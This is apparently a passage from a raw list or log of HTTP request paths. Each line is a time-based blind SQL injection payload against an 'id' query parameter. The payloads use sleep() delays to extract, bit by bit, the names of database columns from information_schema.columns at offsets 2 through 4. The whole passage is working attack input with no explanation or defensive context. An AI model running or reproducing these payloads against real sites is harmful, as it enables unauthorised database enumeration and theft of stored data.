/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
